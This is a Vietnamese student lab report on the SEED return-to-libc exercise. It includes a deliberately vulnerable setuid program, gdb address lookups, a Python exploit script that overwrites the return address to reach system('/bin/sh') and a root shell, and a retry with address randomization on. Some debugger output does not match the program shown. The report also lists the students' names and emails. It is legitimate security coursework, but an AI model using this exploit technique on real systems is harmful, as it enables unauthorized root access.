BÁO CÁO BÀI TẬP

Môn học: ……..

Tên chủ đề: ……..

GVHD: ……..

1. THÔNG TIN CHUNG:

(Liệt kê tất cả các thành viên trong nhóm)

Lớp: …….

STT	Họ và tên	MSSV	Email
1	Vương Đinh Thanh Ngân	20521649	20521649@gm.uit.edu.vn
2	Lê Minh Nhã	20521690	20521690@gm.uit.edu.vn
3	Vũ Hoàng Thạch Thiết	20521957	2051957@gm.uit.edu.vn

2. NỘI DUNG THỰC HIỆN:[1]

STT	Công việc	Kết quả tự đánh giá
1		100%
2		100%
3		100%
4		90%
5		60%

Phần bên dưới của báo cáo này là tài liệu báo cáo chi tiết của nhóm thực hiện.

[1] Ghi nội dung công việc, các kịch bản trong bài Thực hành

BÁO CÁO CHI TIẾT

MỤC LỤC

A. BÁO CÁO CHI TIẾT

1. Setup environmen

a) Tắt tính năng ngẫu nhiên địa chỉ

```
[11/20/22]seed@VM:~/Desktop$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[11/20/22]seed@VM:~/Desktop$ sudo ln -sf /bin/zsh /bin/sh
[11/20/22]seed@VM:~/Desktop$
```

b) Vulnerable program

2.2 The Vulnerable Program

```
/* retlib.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(FILE *badfile)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */
    fread(buffer, sizeof(char), 40, badfile);

    return 1;
}

int main(int argc, char **argv)
{
    FILE *badfile;

    badfile = fopen("badfile", "r");
    bof(badfile);

    printf("Returned Properly\n");

    fclose(badfile);
    return 1;
}
```

- Đây sẽ là chương trình chúng ta khai thác
- Chương trình có lỗ hổng buffer overflow
- Nó sẽ đọc đầu vào có kích thước 40 bytes từ 1 tệp gọi là badfile vào 1 bộ đệm có kích thước 12
- Vì hàm fread() không kiểm tra ranh giới bộ đệm, nên buffer overflow sẽ xảy ra
- Chương trình này là chương trình set uid do root sở hữu vì vậy ney61 người dùng bình thường khai thác được buffer over flow thì người dùng có thể có được root shell
- Cần lưu ý vì chương trình lấy đầu vào từ 1 tệp có tên badfile do người dùng cung cấp. Vì vậy chúng ta có thể xây dựng tệp theo cách sao cho khi 1 chương trình dễ bị tổng thương sao chép nội dung tệp vào bộ đệm của nó

2. Task

c) Finding out the addresses of libc functions

```
[11/20/22]seed@VM:~/Desktop$ vim retlib.c
[11/20/22]seed@VM:~/Desktop$ gcc -fno-stack-protector -z noexecstack -o retlib r
etlib.c
[11/20/22]seed@VM:~/Desktop$ $ sudo chown root retlib
$: command not found
[11/20/22]seed@VM:~/Desktop$ sudo chown root retlib
[11/20/22]seed@VM:~/Desktop$ sudo chmod 4755 retlib
```

- Đầu tiên ta tạo 1 vulnerable program
- Sau đó biên dịch nó bằng lệnh: gcc -fno-stack-protector -z noexecstack -o retlib retlib.c
- Sau khi nó được compile thì ta cần đổi chủ của file thành root dùng command sudo chown root retlib và sau đó cấp quyền chó nó có thể thực thi được bằng lệnh chmod 4755 retlib

```
[11/20/22]seed@VM:~/Desktop$ vim badfile
```

- Sau đó ta tạo 1 file tên là badfile có thể để trống cũng được

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
gdb-peda$
```

- Sau đó ta gdb để để xem chương trình retlib
- Ta cần tìm địa chỉ của system và exit vì trong return to libc ta cần nhảy đến 1 số code đã có sẵn trong chương trình

d) Putting the shell string in the memory

- Ta cần nhảy vào 1 hàm có sẵn trong hệ thống và yêu cầu nó thực thi 1 lệnh bất kỳ

- Vì chúng ta cần mổ shell nên ta sẽ cần system() thực thi lệnh "/bin/sh"

- Vì vậy chúng ta cần đặt /bin/sh vào bộ nhớ và biết địa chỉ của nó để có thể truyền đến hàm system()

- Ta có thể thiết lập biến môi trường mới tên là MYSHELL and để nó chứa chuỗi /bin/sh bằng lệnh export MYSHELL=/bin/sh

- Ta sẽ dùng địa chỉ của MYSHELL như là đối số để hàm system() gọi đến

```c
#include<stdlib.h>
#include<stdio.h>
void main(){
  char* shell = (char *) getenv("MYSHELL");
  if (shell)
    printf("%x\n", (unsigned int)shell);
}
~
~
```

- Sau khi biên dịch và chạy chương trình trên ta sẽ có được địa chỉ của /bin/sh

```
[11/21/22]seed@VM:~/.../Labsetup$ gcc -m32  -fno-stack-protector -z noexecstack
-o getenv getenv.c
[11/21/22]seed@VM:~/.../Labsetup$ sudo chown root getenv
[11/21/22]seed@VM:~/.../Labsetup$ sudo chmod 4755 getenv
[11/21/22]seed@VM:~/.../Labsetup$ ./getenv
ffffd3fc
```

e) *Exploiting the buffer-overflow vulnerability*

```
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(48))

X = 36
sh_addr = 0xffffd3fc       # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 28
system_addr = 0xf7e12420   # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = 32
exit_addr = 0xf7e04f80     # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
~
~
```

- Bên trên là chương trình exploit.c
- Ta đã có được địa chỉ của system(), exit() và /bin/sh
- Ta sẽ đưa những địa chỉ này vào chương trình exploit.c
- Giờ ta cần tìm giá trị của X, Y, Z
- Ta sẽ dùng gdb để debug

```
0x0000137c <+141>:   lea    eax,[ebp-0x318]
0x00001382 <+147>:   push   eax
0x00001383 <+148>:   call   0x124d <bof>
0x00001388 <+153>:   add    esp,0x10
0x0000138b <+156>:   sub    esp,0xc
```

- Sau khi ta disassemble main thì ta thấy có hàm bof và sau khi gọi bof thì địa chỉ trả về sẽ là 0x00001388

```
0x5655628c <+63>:    call   0x565560b0 <printf@plt>
0x56556291 <+68>:    add    esp,0x10
0x56556294 <+71>:    sub    esp,0x8
0x56556297 <+74>:    push   DWORD PTR [ebp+0x8]
0x5655629a <+77>:    lea    eax,[ebp-0x18]
0x5655629d <+80>:    push   eax
0x5655629e <+81>:    call   0x565560d0 <strcpy@plt>
0x565562a3 <+86>:    add    esp,0x10
0x565562a6 <+89>:    mov    eax,0x1
0x565562ab <+94>:    mov    ebx,DWORD PTR [ebp-0x4]
0x565562ae <+97>:    leave
0x565562af <+98>:    ret
```

- Ta sẽ xem qua hàm bof ta cần overwirte địa chỉ trả về của ta với function string copy

```
   0x5655629d <bof+80>: push   eax
=> 0x5655629e <bof+81>: call   0x565560d0 <strcpy@plt>
   0x565562a3 <bof+86>: add    esp,0x10
   0x565562a6 <bof+89>: mov    eax,0x1
   0x565562ab <bof+94>: mov    ebx,DWORD PTR [ebp-0x4]
   0x565562ae <bof+97>: leave
Guessed arguments:
arg[0]: 0xffffcd20 --> 0xf7fb4d20 --> 0xfbad2a84
arg[1]: 0xffffcd50 --> 0xffffcd78 --> 0x0
[                                                  stack
```

- Sau khi đặt break point ta thấy nó lấy 2 argument và argument 1 sẽ là địa chỉ bắt đầu của stack

```
Breakpoint 1, 0x5655629e in bof ()
gdb-peda$ x/16x 0xffffcd20
0xffffcd20:     0xf7fb4d20      0x565570b9      0xffffcd44      0xffffcd38
0xffffcd30:     0xf7fb4000      0x56558fc8      0xffffd148      0x56556388
0xffffcd40:     0xffffcd50      0x00000000      0x000003e8      0x5655a1a0
0xffffcd50:     0xffffcd78      0x033bfcd2      0xffffce0c      0xf7fcb3e0
```

- Ta in ra giá trị hex và ta thấy giá trị trả về ở trên và khoảng cách 28 byte nên Y=28 để có overwirte return address với system_addr
- Sau khi bof return thì nó sẽ nhảy tới system đã bị ghi đè
- Và ta cần đặt exit function ngay sau system vì sau khi nó thực thi xong function nó sẽ cố nhảy tới function tiếp theo và tan đặt ngay sau nếu không nó sẽ xảy ra lỗi segmentaion fault

```
[11/21/22]seed@VM:~/.../Labsetup$ ./exploit.py
[11/21/22]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main():  0xffffcd90
Input size: 48
Address of buffer[] inside bof():  0xffffcd60
Frame Pointer value inside bof():  0xffffcd78
# whoami
root
# echo "Vu Hoang Thach Thiet from group 7"
Vu Hoang Thach Thiet from group 7
#
```

f) Turning on address randomization

```
# exit
[11/21/22]seed@VM:~/.../Labsetup$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
```

- Ta bật tính năng random địa chỉ và thực hiện lại cuộc tấn công

```
[11/21/22]seed@VM:~/.../Labsetup$ ./retlib
Address of input[] inside main():  0xff9ee410
Input size: 48
Address of buffer[] inside bof():  0xff9ee3e0
Frame Pointer value inside bof():  0xff9ee3f8
Segmentation fault
```

- Ta thấy địa chỉ thay đổi và báo lỗi segmentation fault

```
gdb-peda$ show disable-randomization
Disabling randomization of debuggee's virtual address space is on.
gdb-peda$ set disable-randomization
```

- Sau khi bật tính năng randomize thì ta xem lại địa chỉ của hàm system và exit

```
gdb-peda$ p system
$3 = {<text variable, no debug info>} 0xf7d2d420 <system>
gdb-peda$ p exit
$4 = {<text variable, no debug info>} 0xf7d1ff80 <exit>
gdb-peda$
```

- Ta thấy nó vẫn không đổi
- Nhưng khi thực hiện tấn công thì các giá trị X, Y, Z không đổi chỉ có địa chỉ của nó thì đổi

B. TÀI LIỆU THAM KHẢO

Sinh viên đọc kỹ yêu cầu trình bày bên dưới trang này

YÊU CẦU CHUNG

- Sinh viên tìm hiểu và thực hiện bài tập theo yêu cầu, hướng dẫn.
- Nộp báo cáo kết quả chi tiết những việc (**Report**) bạn đã thực hiện, quan sát thấy và kèm ảnh chụp màn hình kết quả (nếu có); giải thích cho quan sát (nếu có).
- Sinh viên báo cáo kết quả thực hiện và nộp bài.

Báo cáo:

- File .PDF. Tập trung vào nội dung, không mô tả lý thuyết.
- Nội dung trình bày bằng Font chữ Times New Romans/ hoặc font chữ của mẫu báo cáo này (UTM Neo Sans Intel/UTM Viet Sach)– cỡ chữ 13. Canh đều (Justify) cho văn bản. Canh giữa (Center) cho ảnh chụp.
- Đặt tên theo định dạng: [Mã lớp]-ExeX_GroupY. (trong đó X là Thứ tự Bài tập, Y là mã số thứ tự nhóm trong danh sách mà GV phụ trách công bố).

  *Ví dụ: [*NT101.K11.ANTT*]-Exe01_Group03.*
- Nếu báo cáo có nhiều file, nén tất cả file vào file .ZIP với cùng tên file báo cáo.
- Không đặt tên đúng định dạng – yêu cầu, sẽ **KHÔNG** chấm điểm bài nộp.
- Nộp file báo cáo trên theo thời gian đã thống nhất tại courses.uit.edu.vn.

Đánh giá:

- Hoàn thành tốt yêu cầu được giao.
- Có nội dung mở rộng, ứng dụng.

Bài sao chép, trễ, ... sẽ được xử lý tùy mức độ vi phạm.

HẾT